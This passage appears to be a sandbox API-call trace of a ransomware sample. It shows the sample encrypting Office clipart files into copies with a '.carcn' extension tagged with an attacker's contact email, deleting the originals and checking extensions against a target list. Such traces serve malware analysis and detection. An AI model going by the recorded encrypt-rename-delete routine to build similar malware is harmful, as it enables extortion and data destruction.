SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0295.308] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0295.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0295.308] GetLastError () returned 0x0 [0295.308] ReadFile (in: hFile=0x370, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x6906, lpOverlapped=0x0) returned 1 [0295.310] WriteFile (in: hFile=0x348, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x6910, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x6910, lpOverlapped=0x0) returned 1 [0295.312] ReadFile (in: hFile=0x370, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0295.312] WriteFile (in: hFile=0x348, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0295.312] SetEndOfFile (hFile=0x348) returned 1 [0295.312] CloseHandle (hObject=0x348) returned 1 [0295.312] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0295.312] SetEndOfFile (hFile=0x370) returned 1 [0295.313] CloseHandle (hObject=0x370) returned 1 [0295.313] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0295.314] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf")) returned 1 [0295.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0295.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0295.314] lstrlenW (lpString=".doc") returned 4 [0295.314] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.314] lstrlenW (lpString=".docx") returned 5 [0295.314] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.314] lstrlenW (lpString=".pdf") returned 4 [0295.314] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.314] lstrlenW (lpString=".xls") returned 4 [0295.314] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.315] lstrlenW (lpString=".xlsx") returned 5 [0295.315] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.315] lstrlenW (lpString=".ppt") returned 4 [0295.315] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0295.315] lstrlenW (lpString=".zip") returned 4 [0295.315] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.315] lstrlenW (lpString=".rar") returned 4 [0295.315] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.315] lstrlenW (lpString=".bz2") returned 4 [0295.315] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.315] lstrlenW (lpString=".7z") returned 3 [0295.315] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0295.315] lstrlenW (lpString=".dbf") returned 4 [0295.315] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0295.315] lstrlenW (lpString=".1cd") returned 4 [0295.315] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0295.315] lstrlenW (lpString=".jpg") returned 4 [0295.315] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0295.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0295.315] lstrlenW (lpString=".doc") returned 4 [0295.315] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.315] lstrlenW (lpString=".docx") returned 5 [0295.315] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.316] lstrlenW (lpString=".pdf") returned 4 [0295.316] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.316] lstrlenW (lpString=".xls") returned 4 [0295.316] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.316] lstrlenW (lpString=".xlsx") returned 5 [0295.316] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.316] lstrlenW (lpString=".ppt") returned 4 [0295.316] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0295.316] lstrlenW (lpString=".zip") returned 4 [0295.316] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.316] lstrlenW (lpString=".rar") returned 4 [0295.316] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.316] lstrlenW (lpString=".bz2") returned 4 [0295.316] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.316] lstrlenW (lpString=".7z") returned 3 [0295.316] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0295.316] lstrlenW (lpString=".dbf") returned 4 [0295.316] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0295.316] lstrlenW (lpString=".1cd") returned 4 [0295.316] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0295.316] lstrlenW (lpString=".jpg") returned 4 [0295.316] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.316] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0295.316] lstrlenW (lpString="BD00146_.WMF") returned 12 [0295.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0295.317] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2ebff14 | out: lpFileSize=0x2ebff14*=28948) returned 1 [0295.317] CloseHandle (hObject=0x370) returned 1 [0295.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf")) returned 0x220 [0295.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0295.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0295.317] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0295.317] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0295.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0295.318] GetLastError () returned 0x0 [0295.318] ReadFile (in: hFile=0x370, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x7114, lpOverlapped=0x0) returned 1 [0295.319] WriteFile (in: hFile=0x348, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x7120, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x7120, lpOverlapped=0x0) returned 1 [0295.320] ReadFile (in: hFile=0x370, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0295.320] WriteFile (in: hFile=0x348, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0295.320] SetEndOfFile (hFile=0x348) returned 1 [0295.320] CloseHandle (hObject=0x348) returned 1 [0295.321] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0295.321] SetEndOfFile (hFile=0x370) returned 1 [0295.321] CloseHandle (hObject=0x370) returned 1 [0295.322] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0295.343] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf")) returned 1 [0295.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0295.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0295.344] lstrlenW (lpString=".doc") returned 4 [0295.344] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.344] lstrlenW (lpString=".docx") returned 5 [0295.344] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.344] lstrlenW (lpString=".pdf") returned 4 [0295.344] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.344] lstrlenW (lpString=".xls") returned 4 [0295.344] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.344] lstrlenW (lpString=".xlsx") returned 5 [0295.344] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.344] lstrlenW (lpString=".ppt") returned 4 [0295.344] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0295.344] lstrlenW (lpString=".zip") returned 4 [0295.344] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.344] lstrlenW (lpString=".rar") returned 4 [0295.344] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.344] lstrlenW (lpString=".bz2") returned 4 [0295.344] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.344] lstrlenW (lpString=".7z") returned 3 [0295.344] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0295.344] lstrlenW (lpString=".dbf") returned 4 [0295.345] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0295.345] lstrlenW (lpString=".1cd") returned 4 [0295.345] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0295.345] lstrlenW (lpString=".jpg") returned 4 [0295.345] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0295.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0295.345] lstrlenW (lpString=".doc") returned 4 [0295.345] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.345] lstrlenW (lpString=".docx") returned 5 [0295.345] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.345] lstrlenW (lpString=".pdf") returned 4 [0295.345] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.345] lstrlenW (lpString=".xls") returned 4 [0295.345] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.345] lstrlenW (lpString=".xlsx") returned 5 [0295.345] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.345] lstrlenW (lpString=".ppt") returned 4 [0295.345] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0295.345] lstrlenW (lpString=".zip") returned 4 [0295.345] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.345] lstrlenW (lpString=".rar") returned 4 [0295.345] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.345] lstrlenW (lpString=".bz2") returned 4 [0295.345] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.345] lstrlenW (lpString=".7z") returned 3 [0295.346] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0295.346] lstrlenW (lpString=".dbf") returned 4 [0295.346] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0295.346] lstrlenW (lpString=".1cd") returned 4 [0295.346] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0295.346] lstrlenW (lpString=".jpg") returned 4 [0295.346] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.346] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0295.346] lstrlenW (lpString="BD00155_.WMF") returned 12 [0295.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0295.347] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2ebff14 | out: lpFileSize=0x2ebff14*=11636) returned 1 [0295.347] CloseHandle (hObject=0x370) returned 1 [0295.347] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf")) returned 0x220 [0295.347] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0295.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0295.348] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0295.348] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0295.348] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0295.348] GetLastError () returned 0x0 [0295.348] ReadFile (in: hFile=0x370, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x2d74, lpOverlapped=0x0) returned 1 [0295.349] WriteFile (in: hFile=0x348, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x2d80, lpOverlapped=0x0) returned 1 [0295.351] ReadFile (in: hFile=0x370, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0295.351] WriteFile (in: hFile=0x348, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0295.351] SetEndOfFile (hFile=0x348) returned 1 [0295.351] CloseHandle (hObject=0x348) returned 1 [0295.351] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0295.351] SetEndOfFile (hFile=0x370) returned 1 [0295.353] CloseHandle (hObject=0x370) returned 1 [0295.353] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0295.822] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf")) returned 1 [0295.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0295.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0295.823] lstrlenW (lpString=".doc") returned 4 [0295.823] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.823] lstrlenW (lpString=".docx") returned 5 [0295.823] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.823] lstrlenW (lpString=".pdf") returned 4 [0295.823] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.824] lstrlenW (lpString=".xls") returned 4 [0295.824] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.824] lstrlenW (lpString=".xlsx") returned 5 [0295.824] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.824] lstrlenW (lpString=".ppt") returned 4 [0295.824] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0295.824] lstrlenW (lpString=".zip") returned 4 [0295.824] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.824] lstrlenW (lpString=".rar") returned 4 [0295.824] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.824] lstrlenW (lpString=".bz2") returned 4 [0295.824] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.824] lstrlenW (lpString=".7z") returned 3 [0295.824] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0295.824] lstrlenW (lpString=".dbf") returned 4 [0295.824] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0295.824] lstrlenW (lpString=".1cd") returned 4 [0295.824] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0295.824] lstrlenW (lpString=".jpg") returned 4 [0295.824] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0295.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0295.825] lstrlenW (lpString=".doc") returned 4 [0295.825] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.825] lstrlenW (lpString=".docx") returned 5 [0295.825] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.825] lstrlenW (lpString=".pdf") returned 4 [0295.825] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.825] lstrlenW (lpString=".xls") returned 4 [0295.825] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.825] lstrlenW (lpString=".xlsx") returned 5 [0295.825] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.825] lstrlenW (lpString=".ppt") returned 4 [0295.825] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0295.825] lstrlenW (lpString=".zip") returned 4 [0295.825] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.825] lstrlenW (lpString=".rar") returned 4 [0295.825] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.825] lstrlenW (lpString=".bz2") returned 4 [0295.825] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.825] lstrlenW (lpString=".7z") returned 3 [0295.825] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0295.825] lstrlenW (lpString=".dbf") returned 4 [0295.825] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0295.825] lstrlenW (lpString=".1cd") returned 4 [0295.826] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0295.826] lstrlenW (lpString=".jpg") returned 4 [0295.826] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.826] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0295.826] lstrlenW (lpString="BD08773_.WMF") returned 12 [0295.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0295.826] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2ebff14 | out: lpFileSize=0x2ebff14*=24778) returned 1 [0295.827] CloseHandle (hObject=0x35c) returned 1 [0295.827] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf")) returned 0x220 [0295.827] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0295.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0295.827] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0295.827] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0295.828] CreateFileW 